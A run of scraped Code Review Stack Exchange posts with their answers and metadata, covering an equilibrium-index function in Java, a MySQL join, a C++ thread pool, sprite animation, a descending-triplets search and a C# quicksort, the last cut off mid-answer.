public static double getMultEquilibrium(int[] a) {
/*
* double chosen to prevent int-overflow.
* http://programmers.stackexchange.com/questions/188721/when-do-you-use-float-and-when-do-you-use-double
*/
double product1 = 1;
double leftProduct = 1;
for (int i = 0; i < a.length; i++) {
if (a[i] == 0) {
return processZero(a, i);
}
product1 = product1 * a[i];
}
for (int i = 0; i < a.length; i++) {
product1 = product1 / a[i];
if (product1 == leftProduct) return i;
leftProduct = leftProduct * a[i];
}
return -1;
}
public static void main(String[] args) {
// testing sum
int[] a1 = {0, -7, 8, -2, 8, -7};
assertEquals(0, EquilibriumIndex.getSumEquilibrium(a1));
int[] a2 = {-7, 8, -2, 8, -7, 0};
assertEquals(2, EquilibriumIndex.getSumEquilibrium(a2));
int[] a3 = {-7, 1, 5, 2, -4, 3, 0};
assertEquals(3, EquilibriumIndex.getSumEquilibrium(a3));
// edge case.
int[] a4 = {-7, 1, 5, 2, -4, 3, 10};
assertEquals(6, EquilibriumIndex.getSumEquilibrium(a4));
// no-equilibrioum
int[] a5 = {-7, 15, 5, 2, -4, 3, 10};
assertEquals(-1, EquilibriumIndex.getSumEquilibrium(a5));
int[] a6 = {10, 4, -20, 30};
assertEquals(1, EquilibriumIndex.getSumEquilibrium(a6));
// testing mult
int[] a7 = {0, 1, 2, 3, 4};
assertEquals(4, EquilibriumIndex.getMultEquilibrium(a7), 0);
int[] a8 = {0, 0, 1, 2, 3, 4};
assertEquals(0, EquilibriumIndex.getMultEquilibrium(a8), 0);
int[] a9 = {0, 0, 2, 3, 0, 4};
assertEquals(0, EquilibriumIndex.getMultEquilibrium(a9), 0);
int[] a10 = {0, 1, 2, 3, 0};
assertEquals(0, EquilibriumIndex.getMultEquilibrium(a10), 0);
int[] a11 = {1, 2, 0, 4, 5};
assertEquals(0, EquilibriumIndex.getMultEquilibrium(a11), 0);
int[] a12 = {1, 2, 4, 5, 0};
assertEquals(0, EquilibriumIndex.getMultEquilibrium(a12), 0);
int[] a13 = {2, 20, 5, 10, 4};
assertEquals(2, EquilibriumIndex.getMultEquilibrium(a13), 0);
int[] a14 = {2, 10, 5, 4, 5, 1};
assertEquals(2, EquilibriumIndex.getMultEquilibrium(a14), 0);
int[] a15 = {1, 2, 3, 4, 5};
assertEquals(-1, EquilibriumIndex.getMultEquilibrium(a15), 0);
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T08:50:39.177",
"Id": "82564",
"Score": "0",
"body": "just for understanding, should the `leftSum += a[i];` operation not instead happen before the comparison?"
}
] | [
{
"body": "<p>I've had a look at your code, and come up with the following suggestions.</p>\n\n<p>Firstly, rename your variables to something meaningful:</p>\n\n<pre><code>public static double getMultEquilibrium(int[] a\n</code></pre>\n\n<p>change this too:</p>\n\n<pre><code>public static double getMultEquilibrium(int[] currentArray)\n</code></pre>\n\n<p>Yes, this does increase the size of your code somewhat, but it is a best practice to always name variables with a name that describes its function. This is my main quibble with your code, because it makes it hard to read.</p>\n\n<p>Another example is:</p>\n\n<pre><code>double product1 = 1;\ndouble leftProduct = 1;\n</code></pre>\n\n<p>Yes, these variables represent various multiplications, but perhaps be a little more specific.</p>\n\n<p>Secondly, although I don't get the point of doing this calculation, it seems that it would be fairly easy to convert to some sort of recursive divide and conquer strategy to find the equilibrium. That would be much more efficient, and (I imagine) would result in a reduction in all the nested <code>if</code>'s and <code>for</code> loops inside each other.</p>\n\n<p>Other than that your code seems alright.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:40:48.240",
"Id": "47127",
"ParentId": "47114",
"Score": "4"
}
},
{
"body": "<p>To prevent int-overflow, you can instead use the datatype long.<br>\nThen you don't have to go through the hassle of floating-point-arithmetics.</p>\n\n<p>Furthermore you could extract a guard-clause in your <code>processZero</code>-method to reduce nesting level by one:</p>\n\n<pre><code>private static int processZero (int[] a, int i) {\n // if 0 is not the first element of the array then the first element of array is smallest equilibrium\n // eg: [0, 1, 2, 3]\n if (i != 0) {\n return 0;\n }\n\n for (int j = i + 1; j < a.length; j++) {\n // eg: [0, 1, 2, 0, 5], equilibrium is the first element.\n if (a[j] == 0) {\n return 0;\n }\n }\n //eg: [0, 1, 2, 3], equilibrium is the last element.\n return a.length - 1;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T08:56:16.240",
"Id": "47133",
"ParentId": "47114",
"Score": "4"
}
},
{
"body": "<p><code>getMultEquilibrium()</code> is supposed to return an array index (or -1 if there is no such index). It makes no sense that the array index be a <code>double</code>, as array indexes must be <code>int</code>s. Therefore,</p>\n\n<pre><code>public static double getMultEquilibrium(int[] a)\n</code></pre>\n\n<p>should be</p>\n\n<pre><code>public static int getMultEquilibrium(int[] a)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:22:41.480",
"Id": "47136",
"ParentId": "47114",
"Score": "5"
}
},
{
"body": "<h2>Not enough precision</h2>\n\n<p>For the sum case, you need to use longs for your sums otherwise you will get overflows. This assumes that your input is smaller than 2^32 elements, otherwise you will need even more precision.</p>\n\n<p>For the multiply case, neither a double or a long will save you from overflows/precision loss, even with only a few elements. To fix this, you can either use BigInteger, or you can do something tricky where you decompose each number into a list of its prime factors.</p>\n\n<h2>Your comments</h2>\n\n<p>First, it would be nice if your comments actually explained what an equilibrium was. Your question did so, but someone reading your code by itself would have no idea.</p>\n\n<p>Second, there were a couple of errors in your comments. In this multiplication example:</p>\n\n<pre><code>[0, 8, -2, 0]\n</code></pre>\n\n<p>you stated that there were 3 equilibria, but I believe that <code>a[3]</code> qualifies as a 4th.</p>\n\n<p>In the comments for <code>processZero()</code>, you had this comment:</p>\n\n<pre><code>// if 0 is not the first element of the array then the first element of array is smallest equilibrium\n// eg: [0, 1, 2, 3]\n</code></pre>\n\n<p>but in that example, 0 <strong>was</strong> the first element so it wasn't a good example.</p>\n\n<h2>Inconsistency</h2>\n\n<p>You did this which I like:</p>\n\n<pre><code>leftSum += a[i];\n</code></pre>\n\n<p>But later did this which I don't like, and which is inconsistent with your previous code:</p>\n\n<pre><code>leftProduct = leftProduct * a[i];\n</code></pre>\n\n<h2>Things I liked</h2>\n\n<p>In general, your program was well commented. Also, the algorithms you used seemed to be the best ones that took only O(N) time. I didn't have any problems understanding what your code was doing.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-04-08T07:29:58.523",
"Id": "86233",
"ParentId": "47114",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T00:51:41.610",
"Id": "47114",
"Score": "5",
"Tags": [
"java",
"algorithm"
],
"Title": "Find the sum and multiply equilibrium"
} | 47114 |
<p>MVP is a user interface architectural pattern engineered to facilitate automated unit testing and improve the separation of concerns in presentation logic:</p>
<ul>
<li>The model is an interface defining the data to be displayed or otherwise acted upon in the user interface.</li>
<li>The view is a passive interface that displays data (the model) and routes user commands (events) to the presenter to act upon that data.</li>
<li>The presenter acts upon the model and the view. It retrieves data from repositories (the model), and formats it for display in the view.</li>
</ul>
<p>Normally, the view implementation instantiates the concrete presenter object, providing a reference to itself. </p>
<p><a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter" rel="nofollow">Wiki Link</a></p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T02:00:30.600",
"Id": "47117",
"Score": "0",
"Tags": null,
"Title": null
} | 47117 |
Model View Presenter is a Derivative of MVC, used for creating user interfaces. | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T02:00:30.600",
"Id": "47118",
"Score": "0",
"Tags": null,
"Title": null
} | 47118 |
<p>I would like to give it a try and ask about my codes on here from now on to see if there are improvement for'em</p>
<p>this code is supposed to combine two sql tables into one.</p>
<pre><code>SELECT * FROM (SELECT * FROM posts WHERE id < $lastpost AND position = submitter order by id DESC LIMIT 5) t1 JOIN (SELECT username, firstname, lastname, avatar FROM users) t2 ON t1.submitter = t2.username
</code></pre>
<p>I was thinking that there might be a better way doing it using union or anything faster, if I'm even right about what I'm saying.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:44:59.230",
"Id": "82560",
"Score": "0",
"body": "Why the sub-query, and why write a union-like query without the `UNION` keyword"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:11:18.820",
"Id": "82565",
"Score": "0",
"body": "@JosephtheDreamer Code in the question should not be edited. If you feel that the code formatting needs work, you can point it out in an answer. ([Example](http://codereview.stackexchange.com/a/46875/9357))"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:43:47.870",
"Id": "82592",
"Score": "0",
"body": "@200_success Ok, noted :D"
}
] | [
{
"body": "<p>Assuming that each post has exactly one submitter, this is a more natural formulation of the query.</p>\n\n<pre><code>SELECT posts.*\n , users.username\n , users.firstname\n , users.lastname\n , users.avatar\n FROM posts\n JOIN users\n ON posts.submitter = users.username\n WHERE\n posts.id < $lastpost\n AND posts.position = posts.submitter\n ORDER BY posts.id DESC \n LIMIT 5\n</code></pre>\n\n<p>However, its performance is likely to be similar to your original query. To investigate performance issues, run <code>EXPLAIN SELECT</code> to help you verify that the necessary indexes are in place.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:07:02.330",
"Id": "47135",
"ParentId": "47121",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47135",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T04:56:09.273",
"Id": "47121",
"Score": "7",
"Tags": [
"mysql",
"sql",
"join"
],
"Title": "A faster way to combine two SQL table"
} | 47121 |
<p>A <strong>very</strong> simple Thread pool:</p>
<p>Any work added to the pool will be executed. The destructor will wait for all work to be finished before letting the threads stop. We then join all threads before letting the destructor exit.</p>
<pre><code>#include <thread>
#include <mutex>
#include <condition_variable>
#include <functional>
#include <vector>
#include <list>
#include <iostream>
class SimpleWorkQueue
{
bool stopping;
bool finished;
std::mutex lock;
std::condition_variable cond;
std::condition_variable threadBarrier;
std::list<std::function<void()>> work;
std::vector<std::thread> workers;
std::function<void()> getNextWorkItem();
void workerAction();
void tellAllThreadsToStop();
public:
SimpleWorkQueue(int initialThreadCount);
~SimpleWorkQueue();
void addWorkItem(std::function<void()> action);
};
SimpleWorkQueue::SimpleWorkQueue(int initialThreadCount)
: stopping(false)
, finished(false)
{
std::condition_variable constructBarrier;
int count = 0;
workers.reserve(initialThreadCount);
for(int loop=0;loop < initialThreadCount;++loop)
{
/*
* Create all the threads we want in this loop.
* For each thread we also add a job so that we
* make sure it starts up correctly.
*
* To make sure that each thread only adds one to
* the count the thread is held in the action
* until all the threads have started up
*/
work.push_back([&constructBarrier, &count, this]()
{
std::unique_lock<std::mutex> locker(this->lock);
++count; // Add one to the count
constructBarrier.notify_one(); // And notify the Work-Queue.
this->threadBarrier.wait(locker); // Wait until all threads
// have started.
});
// Create a thread to deal with the job we just started.
workers.emplace_back(&SimpleWorkQueue::workerAction, this);
}
/*
* We have created all the threads.
* But we must now wait for all threads to
* enter the while loop inside `workerAction()`
*
* We want to make sure that all threads have entered
* the while loop before the destructor is entered
* because if the destructor is entered we could
* set finished to false before the thread enters the
* function which makes reasoning about exit conditions
* very hard.
*/
std::unique_lock<std::mutex> locker(lock);
constructBarrier.wait(locker, [&count, this](){
return count == this->workers.size();
});
/*
* All the thread have entered the check above and
* incremented the counter. This released this thread
* We can now release all the threads to start accepting
* work items.
*/
threadBarrier.notify_all();
}
SimpleWorkQueue::~SimpleWorkQueue()
{
tellAllThreadsToStop();
cond.notify_all();
for(std::thread& thread: workers)
{
thread.join();
}
}
void SimpleWorkQueue::tellAllThreadsToStop()
{
std::unique_lock<std::mutex> locker(lock);
stopping = true;
/*
* Push one job for each thread.
* After this job is executed it will exit the while loop
* in `workerAction()` (because finished is true)
* thus causing the thread to exit.
*
* Thus each thread will execute one of these jobs then exit.
* Thus all threads will eventually die.
*
* We do it this way to make sure that all work that has
* been added will be completed before the threads start
* exiting.
*/
for(std::thread& thread: workers)
{
work.push_back([this](){
std::unique_lock<std::mutex> locker(this->lock);
this->finished = true;
});
}
}
void SimpleWorkQueue::addWorkItem(std::function<void()> action)
{
std::unique_lock<std::mutex> locker(lock);
if (stopping) {
throw std::runtime_error("Can't add work after destructor entered");
}
work.push_back(action);
cond.notify_one();
}
void SimpleWorkQueue::workerAction()
{
while(!finished)
{
std::function<void()> item = getNextWorkItem();
try
{
item();
}
catch(...)
{
/*
* Must catch all exceptions generate by work.
* If you don't then the user code may cause the
* thread to accidentally exit.
*
* In old threading systems (like pthreads)
* it was undefined behavior if the thread exited
* with an exception. That's probably not the case here
*
* But you definitely don't want the thread to end
* because of an exception in user space. So
* catch and throw away (log if you must).
*/
}
}
}
std::function<void()> SimpleWorkQueue::getNextWorkItem()
{
std::unique_lock<std::mutex> locker(lock);
cond.wait(locker, [this](){return !this->work.empty();});
std::function<void()> result = work.front();
work.pop_front();
return result;
}
</code></pre>
<h3>Example usage</h3>
<pre><code>int main()
{
SimpleWorkQueue queue(10);
queue.addWorkItem([](){std::cerr << "Hi" << time(NULL) << "\n";});
}
</code></pre>
| [] | [
{
"body": "<p>On startup a lot of the code is there to deal with making sure that threads don't start work until the SimpleWorkQueue object is correctly initialized.</p>\n<p>This work is not related to the work queue and should be factored out into its own class.</p>\n<p>The concept of a barrier was mentioned in the question comments. So here it is. A barrier is a thread concept that blocks all threads that <code>check-in</code> until the specified number of threads have all arrived then they are all released simultaneously. This is often used for synchronization.</p>\n<h3>A simple Barrier</h3>\n<pre><code> // This is a one time use barrier.\n // Often these are written to be re-used. But that becomes harder.\n // On reset you have to guarantee that all the old threads were flushed\n // before you allow new threads to check-in.\n class Barrier\n {\n std::mutex& lock;\n int count;\n std::condition_variable threadBarrier;\n\n public:\n Barrier(std::mutex& m, int count) : lock(m), count(count) {}\n void checkin()\n {\n std::unique_lock<std::mutex> locker(lock);\n --count;\n if (count > 0)\n {\n threadBarrier.wait(locker, [&count, this](){\n return count <= 0;\n });\n }\n else\n {\n threadBarrier.notify_all();\n }\n }\n};\n \n</code></pre>\n<p>Now the startup code is much simplified:</p>\n<pre><code>SimpleWorkQueue::SimpleWorkQueue(int initialThreadCount)\n : stopping(false)\n , finished(false)\n , threadBarrier(lock, initialThreadCount + 1)\n{\n workers.reserve(initialThreadCount);\n for(int loop=0;loop < initialThreadCount;++loop)\n {\n /*\n * Create all the threads we want in this loop.\n * For each thread we also add a job so that we\n * make sure it starts up correctly.\n *\n * Note: Once a thread is in this piece of work it will\n * not leave until all threads have checked in.\n */\n work.push_back([&threadBarrier]()\n {\n threadBarrier.checkin();\n });\n // Create a thread to deal with the job we just started.\n workers.emplace_back(&SimpleWorkQueue::workerAction, this);\n }\n // Release all the threads.\n // Once they have entered the main loop\n // And checked into the barrier.\n threadBarrier.checkin();\n}\n</code></pre>\n<p>It looks like you are locking the same mutex twice in <code>tellAllThreadsToStop()</code>. You can not use a normal mutex and lock it twice for this you need a recursive lock (this will allow the same thread to lock a mutex more than once).</p>\n<pre><code>void SimpleWorkQueue::tellAllThreadsToStop()\n{\n std::unique_lock<std::mutex> locker(lock); // <- Lock\n stopping = true;\n\n for(std::thread& thread: workers)\n {\n work.push_back([this](){\n std::unique_lock<std::mutex> locker(this->lock); // <- Lock\n this->finished = true;\n });\n }\n}\n</code></pre>\n<p>Luckily this is not the case here. The second lock. Is inside a lambda function. Thus not in the same context as the original lock. We are pushing a piece of work into the queue. When this piece of work is executed by a <strong>child thread</strong> it needs to alter the state of the current object (multiple threads altering state must be done inside a mutal exclusion zone and thus a lock is required).</p>\n<pre><code> work.push_back([this](){\n std::unique_lock<std::mutex> locker(this->lock);\n this->finished = true;\n });\n</code></pre>\n<p>Another thing pointed out in the comments is that all these jobs set <code>finished</code> to <code>true</code>. This seems like a waste as this will be done by each thread (ie <code>initialThreadCount</code> times).</p>\n<p>An alternative is to set <code>finished</code> to <code>true</code> in one job and then add <code>initialThreadCount-1</code> jobs that did nothing. This would have worked just as well and not have been wasteful in attaining the lock for each thread.</p>\n<p>Initially this may seem true but this argument means you are thinking serially about the code. Once the job is picked up by a thread it may be unscheduled at the hardware/OS level and a bunch of other threads are then executed (so potentially all the do nothing jobs may finish executing before the job to set <code>finished</code> to <code>true</code> even starts executing (even if it is pulled from the job queue first).</p>\n<p>So because we can not guarantee that any particular job will finish before any other job. They must all set finished to true (or be forced to wait at some barrier).</p>\n<p>You are accessing mutable state without locking it:</p>\n<pre><code>void SimpleWorkQueue::workerAction()\n{\n while(!finished) // <- finished can be mutated by a child.\n {\n }\n}\n</code></pre>\n<p>Upps. That is definitely a bug. Because other threads can <strong>modify</strong> finished it must be accessed after a memory barrier to force synchronization across threads. There are a couple of alternatives.</p>\n<ul>\n<li>We could lock the mutext <code>lock</code></li>\n<li>We could make <code>finished</code> an atomic</li>\n</ul>\n<p>But I think an easier way is to alter the shut down code.</p>\n<p>The reason <code>finished</code> is set inside a <code>work item</code> is that if we set <code>finished</code> inside <code>tellAllThreadsToStop()</code> then threads will start to exit the main loop in <code>workerAction()</code> as soon as <code>finished</code> is set to true; even if there is still plenty of work to do.</p>\n<p>But we see from the discussion above that we don't really want to modify <code>finished</code> in a child thread as that adds a whole set of problems. So an alternative is to alter the termination condition.</p>\n<pre><code>void SimpleWorkQueue::tellAllThreadsToStop()\n{\n std::unique_lock<std::mutex> locker(lock);\n stopping = true;\n\n for(std::thread& thread: workers)\n {\n // TerminateThread is a private class\n // so nobody else can throw it.\n work.push_back([](){ throw TerminateThread(); });\n }\n}\n\n\n// Now our main thread loop.\n// looks like this.\n// Note: We can remove 'finished' from everywhere.\nvoid SimpleWorkQueue::workerAction()\n{\n while(true)\n {\n std::function<void()> item = getNextWorkItem();\n try\n {\n item();\n }\n catch(TerminateThread const& e)\n {\n // Break out of the while loop.\n // We threw because we wanted to terminate\n // and only our code can throw objects of this type.\n break;\n }\n catch(...)\n {\n // All other exceptions are user code generated.\n // Must be caught but can be ignored.\n // Though logging them is probably a good idea.\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-26T17:14:56.610",
"Id": "48247",
"ParentId": "47122",
"Score": "10"
}
}
] | {
"AcceptedAnswerId": "48247",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T05:51:14.123",
"Id": "47122",
"Score": "15",
"Tags": [
"c++",
"multithreading"
],
"Title": "A simple Thread Pool"
} | 47122 |
<p>This code animates my main game sprite by increasing the animation frame. First I check if the character is moving, then I increase the animation counter until it reaches the desired speed, and then if so, I increase the animation frame.</p>
<p>How can I make it more elegant and optimised in terms of speed?</p>
<pre><code> if (moving){
anispeed++;
if (anispeed==animaxspeed){
anispeed=0;
animationframe++;
if (animationframe==3) animationframe=0;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:08:34.743",
"Id": "82551",
"Score": "0",
"body": "quick question, why do you need to reset the anispeed when increasing the animationframe by one? I don't understand why you do this... Your posted code also misses the closing brace. !!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:58:33.300",
"Id": "82636",
"Score": "0",
"body": "Anispeed is used as a counter, when it hits animaxspeed then we change the animation to the next frame. Otherwise the animation is as fast as the computer can go."
}
] | [
{
"body": "<p>Two small comments:</p>\n\n<p><strong>Naming:</strong><br>\nThe convention for variable names in Java is <code>camelCase</code>. Your <code>animationframe</code> should instead be <code>animationFrame</code> when going by that rule. Similar for your <code>animaxspeed</code>. You don't have to save characters in your code, write it out: <code>animationMaxSpeed</code>.<br>\n<code>anispeed</code> can also be written out: <code>animationSpeed</code>. This should make your code even more clear than it is ;)</p>\n\n<p><strong>Braces:</strong><br>\nIt's also convention to place all if-blocks in braces, disregarding whether they have to, or not. This is to decrease the possibility of bugs when changing such blocks and forgetting braces.</p>\n\n<pre><code>if (animationFrame == 3) {\n animationFrame = 0;\n}\n</code></pre>\n\n<p>Also the Java-Coding-Standard is 4 spaces indentation. It might be, that the markup for SE broke yours, but either way, your first if-statement is too far in. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:13:57.370",
"Id": "47125",
"ParentId": "47124",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T06:51:29.680",
"Id": "47124",
"Score": "5",
"Tags": [
"java",
"animation"
],
"Title": "Game sprite animation"
} | 47124 |
<p>Return any three descending numbers that appear sequentially in the input such that A[i] > A[j] > A[k] and i < j < k. Since problem description contains 'any', I could not unit test using JUnit.</p>
<p>I'm looking for request code review, optimizations and best practices. </p>
<pre><code>final class DescendingTriplets {
private final int high;
private final int mid;
private final int low;
DescendingTriplets(int high, int mid, int low) {
this.high = high;
this.mid = mid;
this.low = low;
}
public int getHigh() {
return high;
}
public int getMid() {
return mid;
}
public int getLow() {
return low;
}
@Override
public String toString() {
return "high: " + high + " mid: " + mid + " low: " + low;
}
}
public final class ThreeDescending {
private ThreeDescending() {}
/**
* This class is used to save high and mid values.
*/
private static class State {
int mid;
int high;
State(int low, int high) {
this.mid = low;
this.high = high;
}
}
/**
* Returns any three descending numbers in an array such that they appear one after other in the original sequence.
* If such numbers dont exist then null is returned
*
* @param a the input array
* @return object with three descending numbers in squence
*/
public static DescendingTriplets getDescendingTriplets(int[] a) {
if (a.length < 3) {
throw new IllegalArgumentException("The arrays size should atleast be three");
}
/*
* The current state of 'high' and 'mid' values to be used to compare 'min' against.
*/
State stateCurrent = null;
/*
* The state of new 'high' and new 'mid' which we obtain as we travel the array.
* Once both values(high and mid) are populated, we replace the stateCurrent with the stateInProgress.
*/
State stateInProgress = null;
int k = 0;
// fetch the completedstate,
for (int i = 0; i < a.length - 1; i++) {
if (a[i] > a[i + 1]) {
stateCurrent = new State(a[i + 1], a[i]);
k = i + 1;
break;
}
}
for (int j = k + 1; j < a.length; j++) {
// if smallest
if (a[j] <= stateCurrent.mid) {
return new DescendingTriplets(stateCurrent.high, stateCurrent.mid, a[j]);
}
// if greater than mid but less than high
if (a[j] <= stateCurrent.high) {
if (stateInProgress != null) {
stateCurrent = stateInProgress;
}
stateCurrent.mid = a[j];
} else {
// if greater than high
if (stateInProgress != null) {
if (j > stateInProgress.high) {
stateInProgress.high = a[j];
} else {
stateInProgress.mid = a[j];
stateCurrent = stateInProgress;
}
} else {
stateInProgress = new State(Integer.MIN_VALUE, a[j]);
}
}
}
return null;
}
public static void main(String[] args) {
int[] a1 = {5, 14, 3, 2, 1};
System.out.println(getDescendingTriplets(a1));
int[] a2 = {4,7,5,1,3,8,9,6,2};
System.out.println(getDescendingTriplets(a2));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T08:13:53.190",
"Id": "82563",
"Score": "1",
"body": "sequentially meaning that `k = j-1, j = i-1`?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:00:36.503",
"Id": "82581",
"Score": "1",
"body": "It appears that the statement *Return any three descending numbers that appear sequentially in the input* is ambiguous, and can be interpreted multiple ways. The answer I gave does one interpretation of that, but your code does a different interpretation... Down-vote applied."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:43:54.263",
"Id": "82651",
"Score": "0",
"body": "sequentially - wrt my question - does not mean consecutive. Hope that solves doubts."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T23:32:23.480",
"Id": "82673",
"Score": "0",
"body": "your algorithm is incorrect. Consider the array `{5, 4, 6, 7, 6, 5}`. Your program returns `6, 7, 6`, which is not descending."
}
] | [
{
"body": "<blockquote>\n <p>Return any three descending numbers that appear sequentially in the input such that A[i] > A[j] > A[k] and i < j < k. \n Since problem description contains 'any', I could not unit test using junits.</p>\n</blockquote>\n\n<p>I think you could create inputs for tests where </p>\n\n<ul>\n<li>there is only one of this sequence and check that,</li>\n<li>there are only a couple of possible sequences and check that the returned one whether exists in the possible return values list or not,</li>\n<li>there isn't any valid sequence.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:54:57.113",
"Id": "82561",
"Score": "0",
"body": "Even simpler than enumerating all possible sequences per input, an unit test could assert `0 <= i < j < k < A.length` and `A[i] > A[j] > A[k]` in the case of one or more possible sequences."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:58:37.987",
"Id": "82562",
"Score": "0",
"body": "@amon: It should also check the returned values exist in the input array."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:52:35.220",
"Id": "47130",
"ParentId": "47126",
"Score": "2"
}
},
{
"body": "<p>The code for this one baffles me. I believe you are doing much, much more work than necessary.</p>\n\n<p>The nature of the problem is such that an \\$O(n)\\$ solution is the best time-complexity one. Your solution is in fact \\$O(n)\\$, but it is much, much more complicated than necessary.... two loops over the data? Lots of state conditions, and class objects, and conditionals.</p>\n\n<p>Have you considered the simple function (returns the index of the first of the triples, or -1 if there is not one:</p>\n\n<pre><code>public static final int getDescendingTriple(int[] data) {\n int index = 2;\n while (index < data.length\n && (data[index - 2] >= data[index - 1] || data[index - 1] >= data[index]) {\n index++;\n }\n if (index >= data.length) {\n return -1;\n }\n return index - 2;\n}\n</code></pre>\n\n<p>If you want to return the fancy <code>DescendingTriplets</code> then you can construct that from index (if >= 0).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T12:57:38.540",
"Id": "82580",
"Score": "1",
"body": "I don't think your solution answers the problem. I agree the OP is unclear on this aspect, but what I understood is that the indices don't have to follow each other. I believe the OP just wants `i < j < k`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:01:38.533",
"Id": "82582",
"Score": "1",
"body": "@Joffrey - I think you may be right. The question is ambiguous (the description and implementation do different things in the asker's question)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:03:02.920",
"Id": "82583",
"Score": "1",
"body": "agreed that it is ambiguous, let's wait for the OP to answer the comments."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T11:18:13.233",
"Id": "47138",
"ParentId": "47126",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:18:15.843",
"Id": "47126",
"Score": "3",
"Tags": [
"java",
"algorithm",
"array"
],
"Title": "Given an integer array of size n, find any three numbers"
} | 47126 |
<p>It has been a while since I've implemented a QuickSort and I wanted to write it down like I remembered.</p>
<pre><code>int MyPartition(List<int> list, int left, int right)
{
int pivot = list[left];
while(true)
{
while(list[left] < pivot)
left++;
while(list[right] > pivot)
right--;
if(list[right] == pivot && list[left] == pivot)
left++;
if(left < right)
{
int temp = list[left];
list[left] = list[right];
list[right] = temp;
}
else
{
return right;
}
}
}
void MyQuickSort(List<int> list, int left, int right)
{
if(list == null || list.Count <= 1)
return;
if(left < right)
{
int pivotIdx = MyPartition(list, left, right);
if(pivotIdx > 1)
MyQuickSort(list, left, pivotIdx - 1);
if(pivotIdx + 1 < right)
MyQuickSort(list, pivotIdx + 1, right);
}
}
</code></pre>
<p>Sample usage:</p>
<pre><code>var list = RandomList(1000);
MyQuickSort(list, 0, list.Count - 1);
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-12-08T23:07:09.507",
"Id": "131764",
"Score": "0",
"body": "why do you check if pivotIDX > 1"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-04-10T10:51:42.420",
"Id": "233784",
"Score": "0",
"body": "Your choice of pivot means that if you sort an already sorted list it'll hit the worst case of O(n^2) performance. (Personally I'd use a cryptographically random pivot or an algorithm with fast worst-case performance, to prevent attacks where you're given data designed to provoke worst case performance)"
}
] | [
{
"body": "<p>With QuickSort, the complexity always comes down to two things:</p>\n\n<ul>\n<li>how you deal with equal numbers (duplicates)</li>\n<li>which index you use to return from the partition (left or right)</li>\n</ul>\n\n<p>You need to decide up-front whether the pivot value is going to be in the left partition, or the right partition. If the pivot is going to be in the left, then you need to return <code>left</code> index, and the left partition is values <code><=</code> the pivot.</p>\n\n<p>In my 'education', all the examples I looked at, and all the implementations I have done since then, have always returned the <code>left</code> index.... and they have always included the pivot in the left side.</p>\n\n<p>There are a number of things that stand out to me in your code:</p>\n\n<ol>\n<li>you do not start with the <code>left</code> at <code>left + 1</code> (you know that <code>list[left] == pivot</code> for the first check...)</li>\n<li>It is common practice for the 'right' index to start at the length (i.e. to be 1 after the last member).</li>\n<li>you have odd handling for the duplicate value case</li>\n<li>you are returning <code>right</code> instead of <code>left</code></li>\n<li>you are not swapping the pivot to where it belongs.... The point of the partitioning is that you are 